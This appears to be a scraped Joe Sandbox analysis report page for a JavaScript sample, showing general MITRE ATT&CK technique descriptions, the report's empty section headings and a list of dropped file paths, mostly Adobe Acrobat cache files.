Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 12662108703247616042.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a99b9917-cb72-485e-a194-d28d429517bc.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2156

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
12662108703247616042.js